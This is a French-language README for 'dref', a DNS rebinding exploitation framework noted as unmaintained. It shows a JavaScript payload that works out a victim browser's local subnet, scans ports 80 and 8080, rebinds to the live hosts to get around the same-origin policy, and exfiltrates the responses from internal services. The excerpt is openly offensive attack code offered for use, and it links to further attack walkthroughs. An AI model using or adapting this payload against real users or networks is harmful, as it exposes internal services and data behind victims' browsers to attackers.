
Framework d'exploitation de rebinding DNS
Framework d'exploitation par rebinding DNS
Ce projet n'est plus maintenu.
dref effectue le gros du travail pour le DNS rebinding. L'extrait suivant, issu de l'une de ses charges utiles intégrées, montre le cadre utilisé pour scanner un sous-réseau local depuis un navigateur compromis ; après avoir identifié les services web actifs, il procède à l'exfiltration des réponses GET, passant outre la politique de même origine :
// mainFrame() runs first
async function mainFrame () {
// We use some tricks to derive the browser's local /24 subnet
const localSubnet = await network.getLocalSubnet(24)
// We use some more tricks to scan a couple of ports across the subnet
netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
// We launch the rebind attack on live targets
for (let h of results.hosts) {
for (let p of h.ports) {
if (p.open) session.createRebindFrame(h.host, p.port)
}
}
})
}
// rebindFrame() will have target ip:port as origin
function rebindFrame () {
// After this we'll have bypassed the Same-Origin policy
session.triggerRebind().then(() => {
// We can now read the response across origin...
network.get(session.baseURL, {
successCb: (code, headers, body) => {
// ... and exfiltrate it
session.log({code: code, headers: headers, body: body})
}
})
})
}
Rendez-vous sur le Wiki pour commencer ou consultez dref attaquant les navigateurs sans tête pour un cas d'utilisation pratique.
Ceci est une version de développement - ne pas utiliser en production